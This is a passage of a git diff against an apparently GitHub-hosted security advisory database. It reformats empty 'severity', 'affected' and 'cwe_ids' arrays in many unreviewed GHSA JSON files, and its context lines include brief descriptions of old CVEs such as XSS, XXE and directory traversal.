mojoPortal before 2.3.9.8 allows remote attackers to inject arbitrary web script or HTML via the txtSubject parameter.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-x9rr-hc5p-rv5f/GHSA-x9rr-hc5p-rv5f.json b/advisories/unreviewed/2022/05/GHSA-x9rr-hc5p-rv5f/GHSA-x9rr-hc5p-rv5f.json index 00134edfd6e..7b7728715a7 100644 --- a/advisories/unreviewed/2022/05/GHSA-x9rr-hc5p-rv5f/GHSA-x9rr-hc5p-rv5f.json +++ b/advisories/unreviewed/2022/05/GHSA-x9rr-hc5p-rv5f/GHSA-x9rr-hc5p-rv5f.json @@ -7,12 +7,8 @@ "CVE-2013-5483" ], "details": "Cross-site scripting (XSS) vulnerability in bookmarklet.jsp in Cisco SocialMiner allows remote attackers to inject arbitrary web script or HTML via unspecified vectors, aka Bug ID CSCuh73868.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-xf9v-wfx4-53c3/GHSA-xf9v-wfx4-53c3.json b/advisories/unreviewed/2022/05/GHSA-xf9v-wfx4-53c3/GHSA-xf9v-wfx4-53c3.json index 8c9e66ee28a..fdff6dcb050 100644 --- a/advisories/unreviewed/2022/05/GHSA-xf9v-wfx4-53c3/GHSA-xf9v-wfx4-53c3.json +++ b/advisories/unreviewed/2022/05/GHSA-xf9v-wfx4-53c3/GHSA-xf9v-wfx4-53c3.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-xhc5-7m84-pqq9/GHSA-xhc5-7m84-pqq9.json b/advisories/unreviewed/2022/05/GHSA-xhc5-7m84-pqq9/GHSA-xhc5-7m84-pqq9.json index 0e15f07acbb..cf23e245190 100644 --- a/advisories/unreviewed/2022/05/GHSA-xhc5-7m84-pqq9/GHSA-xhc5-7m84-pqq9.json +++ b/advisories/unreviewed/2022/05/GHSA-xhc5-7m84-pqq9/GHSA-xhc5-7m84-pqq9.json @@ -7,12 +7,8 @@ "CVE-2013-4051" ], "details": "Cross-site scripting (XSS) vulnerability in webadmin.nsf in Domino Web Administrator in IBM Domino 8.5 and 9.0 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors, a different vulnerability than CVE-2013-4055.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-xhjj-jg7j-pqrx/GHSA-xhjj-jg7j-pqrx.json b/advisories/unreviewed/2022/05/GHSA-xhjj-jg7j-pqrx/GHSA-xhjj-jg7j-pqrx.json index 7eee8055d22..436ecca6fac 100644 --- a/advisories/unreviewed/2022/05/GHSA-xhjj-jg7j-pqrx/GHSA-xhjj-jg7j-pqrx.json +++ b/advisories/unreviewed/2022/05/GHSA-xhjj-jg7j-pqrx/GHSA-xhjj-jg7j-pqrx.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-xhxw-wjgx-9674/GHSA-xhxw-wjgx-9674.json b/advisories/unreviewed/2022/05/GHSA-xhxw-wjgx-9674/GHSA-xhxw-wjgx-9674.json index caf9f1893e9..578aa8c245f 100644 --- a/advisories/unreviewed/2022/05/GHSA-xhxw-wjgx-9674/GHSA-xhxw-wjgx-9674.json +++ b/advisories/unreviewed/2022/05/GHSA-xhxw-wjgx-9674/GHSA-xhxw-wjgx-9674.json @@ -7,12 +7,8 @@ "CVE-2013-4795" ], "details": "Cross-site scripting (XSS) vulnerability in the Submitters list in Review Board 1.6.x before 1.6.18 and 1.7.x before 1.7.12 allows remote attackers to inject arbitrary web script or HTML via a user full name.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-xmrg-vr4x-m2v3/GHSA-xmrg-vr4x-m2v3.json b/advisories/unreviewed/2022/05/GHSA-xmrg-vr4x-m2v3/GHSA-xmrg-vr4x-m2v3.json index 55df22d8aa0..6ca7483b2fb 100644 --- a/advisories/unreviewed/2022/05/GHSA-xmrg-vr4x-m2v3/GHSA-xmrg-vr4x-m2v3.json +++ b/advisories/unreviewed/2022/05/GHSA-xmrg-vr4x-m2v3/GHSA-xmrg-vr4x-m2v3.json @@ -7,12 +7,8 @@ "CVE-2013-4873" ], "details": "The Yahoo! Tumblr app before 3.4.1 for iOS sends cleartext credentials, which allows remote attackers to obtain sensitive information by sniffing the network.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-xp5c-p5xg-fx95/GHSA-xp5c-p5xg-fx95.json b/advisories/unreviewed/2022/05/GHSA-xp5c-p5xg-fx95/GHSA-xp5c-p5xg-fx95.json index fa286176398..7c89034fcb5 100644 --- a/advisories/unreviewed/2022/05/GHSA-xp5c-p5xg-fx95/GHSA-xp5c-p5xg-fx95.json +++ b/advisories/unreviewed/2022/05/GHSA-xp5c-p5xg-fx95/GHSA-xp5c-p5xg-fx95.json @@ -7,12 +7,8 @@ "CVE-2013-3922" ], "details": "Directory traversal vulnerability in Gummy Bear Studios FTP Drive + HTTP Server 1.0.4 and earlier allows remote attackers to read arbitrary files via a ..%2f (encoded dot dot slash) in a GET request.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-xp83-qp92-cvpc/GHSA-xp83-qp92-cvpc.json b/advisories/unreviewed/2022/05/GHSA-xp83-qp92-cvpc/GHSA-xp83-qp92-cvpc.json index 29c577fc74a..5d41304d37f 100644 --- a/advisories/unreviewed/2022/05/GHSA-xp83-qp92-cvpc/GHSA-xp83-qp92-cvpc.json +++ b/advisories/unreviewed/2022/05/GHSA-xp83-qp92-cvpc/GHSA-xp83-qp92-cvpc.json @@ -7,12 +7,8 @@ "CVE-2013-3780" ], "details": "Unspecified vulnerability in the PeopleSoft Enterprise Portal component in Oracle PeopleSoft Products 9.1 allows remote authenticated users to affect confidentiality via unknown vectors related to Saved Search.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-xq67-qgfc-92jg/GHSA-xq67-qgfc-92jg.json b/advisories/unreviewed/2022/05/GHSA-xq67-qgfc-92jg/GHSA-xq67-qgfc-92jg.json index bf9909319c9..bb2a5016f2f 100644 --- a/advisories/unreviewed/2022/05/GHSA-xq67-qgfc-92jg/GHSA-xq67-qgfc-92jg.json +++ b/advisories/unreviewed/2022/05/GHSA-xq67-qgfc-92jg/GHSA-xq67-qgfc-92jg.json @@ -7,12 +7,8 @@ "CVE-2013-4069" ], "details": "The Portal application in IBM SPSS Collaboration and Deployment Services 4.2.1 before 4.2.1.3 IF3 and 5.0 before FP3 allows remote attackers to read arbitrary files via an XML external entity declaration in conjunction with an entity reference, related to an XML External Entity (XXE) issue.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-xqg8-9xv8-w5j8/GHSA-xqg8-9xv8-w5j8.json b/advisories/unreviewed/2022/05/GHSA-xqg8-9xv8-w5j8/GHSA-xqg8-9xv8-w5j8.json index 2fe87355979..1edffd6c5d1 100644 --- a/advisories/unreviewed/2022/05/GHSA-xqg8-9xv8-w5j8/GHSA-xqg8-9xv8-w5j8.json +++ b/advisories/unreviewed/2022/05/GHSA-xqg8-9xv8-w5j8/GHSA-xqg8-9xv8-w5j8.json @@ -7,12 +7,8 @@ "CVE-2013-7085" ], "details": "Uscan in devscripts 2.13.5, when USCAN_EXCLUSION is enabled, allows remote attackers to delete arbitrary files via a whitespace character in a filename.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-xv6h-23v7-jx2w/GHSA-xv6h-23v7-jx2w.json b/advisories/unreviewed/2022/05/GHSA-xv6h-23v7-jx2w/GHSA-xv6h-23v7-jx2w.json index 8fd51655747..f7a25b75dd0 100644 --- a/advisories/unreviewed/2022/05/GHSA-xv6h-23v7-jx2w/GHSA-xv6h-23v7-jx2w.json +++ b/advisories/unreviewed/2022/05/GHSA-xv6h-23v7-jx2w/GHSA-xv6h-23v7-jx2w.json @@ -7,12 +7,8 @@ "CVE-2013-4872" ], "details": "Google Glass before XE6 does not properly restrict the processing of QR codes, which allows physically proximate attackers to modify the configuration or redirect users to arbitrary web sites via a crafted symbol, as demonstrated by selecting a Wi-Fi access point in order to conduct a man-in-the-middle attack.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-xvr8-rhg7-pv7w/GHSA-xvr8-rhg7-pv7w.json b/advisories/unreviewed/2022/05/GHSA-xvr8-rhg7-pv7w/GHSA-xvr8-rhg7-pv7w.json index 0b2884ed0b3..40540cedbfc 100644 --- a/advisories/unreviewed/2022/05/GHSA-xvr8-rhg7-pv7w/GHSA-xvr8-rhg7-pv7w.json +++ b/advisories/unreviewed/2022/05/GHSA-xvr8-rhg7-pv7w/GHSA-xvr8-rhg7-pv7w.json @@ -7,12 +7,8 @@ "CVE-2013-4860" ], "details": "Radio Thermostat CT80 And CT50 with firmware 1.4.64 and earlier does not restrict access to the API, which allows remote attackers to change the operation mode, wifi connection settings, temperature thresholds, and other settings via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -32,9 +28,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-xwc4-f36r-xj54/GHSA-xwc4-f36r-xj54.json b/advisories/unreviewed/2022/05/GHSA-xwc4-f36r-xj54/GHSA-xwc4-f36r-xj54.json index a143ccb130f..271db85dbf9 100644 --- a/advisories/unreviewed/2022/05/GHSA-xwc4-f36r-xj54/GHSA-xwc4-f36r-xj54.json +++ b/advisories/unreviewed/2022/05/GHSA-xwc4-f36r-xj54/GHSA-xwc4-f36r-xj54.json @@ -7,12 +7,8 @@ "CVE-2014-0672" ], "details": "The Search and Play interface in Cisco MediaSense does not properly enforce authorization requirements, which allows remote authenticated users to download arbitrary recordings via a request to this interface.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -48,9 +44,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-xwjf-whc7-vgr2/GHSA-xwjf-whc7-vgr2.json b/advisories/unreviewed/2022/05/GHSA-xwjf-whc7-vgr2/GHSA-xwjf-whc7-vgr2.json index 889e467b2e7..d7edeb5f506 100644 --- a/advisories/unreviewed/2022/05/GHSA-xwjf-whc7-vgr2/GHSA-xwjf-whc7-vgr2.json +++ b/advisories/unreviewed/2022/05/GHSA-xwjf-whc7-vgr2/GHSA-xwjf-whc7-vgr2.json @@ -7,12 +7,8 @@ "CVE-2014-0671" ], "details": "Open redirect vulnerability in Cisco MediaSense allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via an unspecified parameter, aka Bug ID CSCum16749.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-xwp2-w6xc-wx48/GHSA-xwp2-w6xc-wx48.json b/advisories/unreviewed/2022/05/GHSA-xwp2-w6xc-wx48/GHSA-xwp2-w6xc-wx48.json index d8b1b90b1d4..7fcd551f7bc 100644 --- a/advisories/unreviewed/2022/05/GHSA-xwp2-w6xc-wx48/GHSA-xwp2-w6xc-wx48.json +++ b/advisories/unreviewed/2022/05/GHSA-xwp2-w6xc-wx48/GHSA-xwp2-w6xc-wx48.json @@ -7,12 +7,8 @@ "CVE-2013-4063" ], "details": "Cross-site scripting (XSS) vulnerability in iNotes in IBM Domino 8.5.x before 8.5.3 FP6 and 9.0.x before 9.0.1 allows remote attackers to inject arbitrary web script or HTML via active content in an e-mail message, aka SPRs PTHN9AQMV7 and TCLE98ZKRP.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-xx3m-g78m-fjqh/GHSA-xx3m-g78m-fjqh.json b/advisories/unreviewed/2022/05/GHSA-xx3m-g78m-fjqh/GHSA-xx3m-g78m-fjqh.json index 490a4992eab..b2c354bc5b1 100644 --- a/advisories/unreviewed/2022/05/GHSA-xx3m-g78m-fjqh/GHSA-xx3m-g78m-fjqh.json +++ b/advisories/unreviewed/2022/05/GHSA-xx3m-g78m-fjqh/GHSA-xx3m-g78m-fjqh.json @@ -7,12 +7,8 @@ "CVE-2013-6395" ], "details": "Cross-site scripting (XSS) vulnerability in header.php in Ganglia Web 3.5.8 and 3.5.10 allows remote attackers to inject arbitrary web script or HTML via the host_regex parameter to the default URI, which is processed by get_context.php.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-xxmp-4c36-6f47/GHSA-xxmp-4c36-6f47.json b/advisories/unreviewed/2022/05/GHSA-xxmp-4c36-6f47/GHSA-xxmp-4c36-6f47.json index 934f4dfdf5d..b8318c05319 100644 --- a/advisories/unreviewed/2022/05/GHSA-xxmp-4c36-6f47/GHSA-xxmp-4c36-6f47.json +++ b/advisories/unreviewed/2022/05/GHSA-xxmp-4c36-6f47/GHSA-xxmp-4c36-6f47.json @@ -7,12 +7,8 @@ "CVE-2013-5397" ], "details": "Unspecified vulnerability in the Webservice Axis Gateway in IBM Rational Focal Point 6.4 before devfix1, 6.4.1.3 before devfix1, 6.5.1 before devfix1, 6.5.2 before devfix4, 6.5.2.3 before devfix9, 6.6 before devfix5, 6.6.0.1 before devfix2, and 6.6.1 allows remote attackers to bypass intended access restrictions and obtain sensitive information via unspecified vectors, a different vulnerability than CVE-2013-5398.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "LOW", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/11/GHSA-cv9w-qrcq-w6xh/GHSA-cv9w-qrcq-w6xh.json b/advisories/unreviewed/2022/11/GHSA-cv9w-qrcq-w6xh/GHSA-cv9w-qrcq-w6xh.json index 39fa7ba4be2..c573757f0db 100644 --- a/advisories/unreviewed/2022/11/GHSA-cv9w-qrcq-w6xh/GHSA-cv9w-qrcq-w6xh.json +++ b/advisories/unreviewed/2022/11/GHSA-cv9w-qrcq-w6xh/GHSA-cv9w-qrcq-w6xh.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/11/GHSA-v979-36xg-vp67/GHSA-v979-36xg-vp67.json b/advisories/unreviewed/2022/11/GHSA-v979-36xg-vp67/GHSA-v979-36xg-vp67.json index 1ea37b0ca56..3eed56fd326 100644 --- a/advisories/unreviewed/2022/11/GHSA-v979-36xg-vp67/GHSA-v979-36xg-vp67.json +++ b/advisories/unreviewed/2022/11/GHSA-v979-36xg-vp67/GHSA-v979-36xg-vp67.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/04/GHSA-5p86-7v4g-7f7r/GHSA-5p86-7v4g-7f7r.json b/advisories/unreviewed/2023/04/GHSA-5p86-7v4g-7f7r/GHSA-5p86-7v4g-7f7r.json index 185b2be64c2..cb8a4939c61 100644 --- a/advisories/unreviewed/2023/04/GHSA-5p86-7v4g-7f7r/GHSA-5p86-7v4g-7f7r.json +++ b/advisories/unreviewed/2023/04/GHSA-5p86-7v4g-7f7r/GHSA-5p86-7v4g-7f7r.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/07/GHSA-r827-5p5r-w6f5/GHSA-r827-5p5r-w6f5.json b/advisories/unreviewed/2023/07/GHSA-r827-5p5r-w6f5/GHSA-r827-5p5r-w6f5.json index b83d72a4192..8217a5bf827 100644 --- a/advisories/unreviewed/2023/07/GHSA-r827-5p5r-w6f5/GHSA-r827-5p5r-w6f5.json +++ b/advisories/unreviewed/2023/07/GHSA-r827-5p5r-w6f5/GHSA-r827-5p5r-w6f5.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/10/GHSA-7vm7-mp89-q7c7/GHSA-7vm7-mp89-q7c7.json b/advisories/unreviewed/2023/10/GHSA-7vm7-mp89-q7c7/GHSA-7vm7-mp89-q7c7.json index 866971fce5e..fb5ce485006 100644 --- a/advisories/unreviewed/2023/10/GHSA-7vm7-mp89-q7c7/GHSA-7vm7-mp89-q7c7.json +++ b/advisories/unreviewed/2023/10/GHSA-7vm7-mp89-q7c7/GHSA-7vm7-mp89-q7c7.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-2255-f3p6-4fv3/GHSA-2255-f3p6-4fv3.json b/advisories/unreviewed/2023/12/GHSA-2255-f3p6-4fv3/GHSA-2255-f3p6-4fv3.json index ea6790220b2..417eca6eb17 100644 --- a/advisories/unreviewed/2023/12/GHSA-2255-f3p6-4fv3/GHSA-2255-f3p6-4fv3.json +++ b/advisories/unreviewed/2023/12/GHSA-2255-f3p6-4fv3/GHSA-2255-f3p6-4fv3.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-23jw-vpm7-7386/GHSA-23jw-vpm7-7386.json b/advisories/unreviewed/2023/12/GHSA-23jw-vpm7-7386/GHSA-23jw-vpm7-7386.json index 85b699e7284..0fd9c885a5b 100644 --- a/advisories/unreviewed/2023/12/GHSA-23jw-vpm7-7386/GHSA-23jw-vpm7-7386.json +++ b/advisories/unreviewed/2023/12/GHSA-23jw-vpm7-7386/GHSA-23jw-vpm7-7386.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-24r5-xw2j-9h9x/GHSA-24r5-xw2j-9h9x.json b/advisories/unreviewed/2023/12/GHSA-24r5-xw2j-9h9x/GHSA-24r5-xw2j-9h9x.json index 27bc93e4fb7..f0132718e39 100644 --- a/advisories/unreviewed/2023/12/GHSA-24r5-xw2j-9h9x/GHSA-24r5-xw2j-9h9x.json +++ b/advisories/unreviewed/2023/12/GHSA-24r5-xw2j-9h9x/GHSA-24r5-xw2j-9h9x.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-299m-fx62-r98p/GHSA-299m-fx62-r98p.json b/advisories/unreviewed/2023/12/GHSA-299m-fx62-r98p/GHSA-299m-fx62-r98p.json index 0f8e92b440e..5bd0ed9a531 100644 --- a/advisories/unreviewed/2023/12/GHSA-299m-fx62-r98p/GHSA-299m-fx62-r98p.json +++ b/advisories/unreviewed/2023/12/GHSA-299m-fx62-r98p/GHSA-299m-fx62-r98p.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-2ff7-p4h3-cfp8/GHSA-2ff7-p4h3-cfp8.json b/advisories/unreviewed/2023/12/GHSA-2ff7-p4h3-cfp8/GHSA-2ff7-p4h3-cfp8.json index 1fb33deaa91..d5faeca537f 100644 --- a/advisories/unreviewed/2023/12/GHSA-2ff7-p4h3-cfp8/GHSA-2ff7-p4h3-cfp8.json +++ b/advisories/unreviewed/2023/12/GHSA-2ff7-p4h3-cfp8/GHSA-2ff7-p4h3-cfp8.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-2h57-wv8w-2wmj/GHSA-2h57-wv8w-2wmj.json b/advisories/unreviewed/2023/12/GHSA-2h57-wv8w-2wmj/GHSA-2h57-wv8w-2wmj.json index bf3e460edf9..91797d85f4e 100644 --- a/advisories/unreviewed/2023/12/GHSA-2h57-wv8w-2wmj/GHSA-2h57-wv8w-2wmj.json +++ b/advisories/unreviewed/2023/12/GHSA-2h57-wv8w-2wmj/GHSA-2h57-wv8w-2wmj.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-2m47-7r27-xh85/GHSA-2m47-7r27-xh85.json b/advisories/unreviewed/2023/12/GHSA-2m47-7r27-xh85/GHSA-2m47-7r27-xh85.json index c1304652116..045b9e7db06 100644 --- a/advisories/unreviewed/2023/12/GHSA-2m47-7r27-xh85/GHSA-2m47-7r27-xh85.json +++ b/advisories/unreviewed/2023/12/GHSA-2m47-7r27-xh85/GHSA-2m47-7r27-xh85.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-32qv-jwqq-5v6r/GHSA-32qv-jwqq-5v6r.json b/advisories/unreviewed/2023/12/GHSA-32qv-jwqq-5v6r/GHSA-32qv-jwqq-5v6r.json index 0b264ae6c75..7c1697e296e 100644 --- a/advisories/unreviewed/2023/12/GHSA-32qv-jwqq-5v6r/GHSA-32qv-jwqq-5v6r.json +++ b/advisories/unreviewed/2023/12/GHSA-32qv-jwqq-5v6r/GHSA-32qv-jwqq-5v6r.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-3j5h-p2g7-9wc9/GHSA-3j5h-p2g7-9wc9.json b/advisories/unreviewed/2023/12/GHSA-3j5h-p2g7-9wc9/GHSA-3j5h-p2g7-9wc9.json index a9ca3c52bb7..032493bfc50 100644 --- a/advisories/unreviewed/2023/12/GHSA-3j5h-p2g7-9wc9/GHSA-3j5h-p2g7-9wc9.json +++ b/advisories/unreviewed/2023/12/GHSA-3j5h-p2g7-9wc9/GHSA-3j5h-p2g7-9wc9.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-3xvw-vxfc-rgc7/GHSA-3xvw-vxfc-rgc7.json b/advisories/unreviewed/2023/12/GHSA-3xvw-vxfc-rgc7/GHSA-3xvw-vxfc-rgc7.json index e5e37012fba..ed67c98f8c5 100644 --- a/advisories/unreviewed/2023/12/GHSA-3xvw-vxfc-rgc7/GHSA-3xvw-vxfc-rgc7.json +++ b/advisories/unreviewed/2023/12/GHSA-3xvw-vxfc-rgc7/GHSA-3xvw-vxfc-rgc7.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-4ppj-757r-h8qc/GHSA-4ppj-757r-h8qc.json b/advisories/unreviewed/2023/12/GHSA-4ppj-757r-h8qc/GHSA-4ppj-757r-h8qc.json index d7d52491183..eab03568b47 100644 --- a/advisories/unreviewed/2023/12/GHSA-4ppj-757r-h8qc/GHSA-4ppj-757r-h8qc.json +++ b/advisories/unreviewed/2023/12/GHSA-4ppj-757r-h8qc/GHSA-4ppj-757r-h8qc.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-5w27-9wr3-rf2x/GHSA-5w27-9wr3-rf2x.json b/advisories/unreviewed/2023/12/GHSA-5w27-9wr3-rf2x/GHSA-5w27-9wr3-rf2x.json index 21ddf209d84..8932e203497 100644 --- a/advisories/unreviewed/2023/12/GHSA-5w27-9wr3-rf2x/GHSA-5w27-9wr3-rf2x.json +++ b/advisories/unreviewed/2023/12/GHSA-5w27-9wr3-rf2x/GHSA-5w27-9wr3-rf2x.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-65mr-mxqp-9fgc/GHSA-65mr-mxqp-9fgc.json b/advisories/unreviewed/2023/12/GHSA-65mr-mxqp-9fgc/GHSA-65mr-mxqp-9fgc.json index 2fe50567cc4..56bef5b5ac1 100644 --- a/advisories/unreviewed/2023/12/GHSA-65mr-mxqp-9fgc/GHSA-65mr-mxqp-9fgc.json +++ b/advisories/unreviewed/2023/12/GHSA-65mr-mxqp-9fgc/GHSA-65mr-mxqp-9fgc.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-65x7-hx22-9x77/GHSA-65x7-hx22-9x77.json b/advisories/unreviewed/2023/12/GHSA-65x7-hx22-9x77/GHSA-65x7-hx22-9x77.json index 1ea131e343f..176ffa2a48b 100644 --- a/advisories/unreviewed/2023/12/GHSA-65x7-hx22-9x77/GHSA-65x7-hx22-9x77.json +++ b/advisories/unreviewed/2023/12/GHSA-65x7-hx22-9x77/GHSA-65x7-hx22-9x77.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-6q2r-m35r-8mf3/GHSA-6q2r-m35r-8mf3.json b/advisories/unreviewed/2023/12/GHSA-6q2r-m35r-8mf3/GHSA-6q2r-m35r-8mf3.json index 0ea46d209ac..e5f3c41a780 100644 --- a/advisories/unreviewed/2023/12/GHSA-6q2r-m35r-8mf3/GHSA-6q2r-m35r-8mf3.json +++ b/advisories/unreviewed/2023/12/GHSA-6q2r-m35r-8mf3/GHSA-6q2r-m35r-8mf3.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-6xr8-gq4v-4fhm/GHSA-6xr8-gq4v-4fhm.json 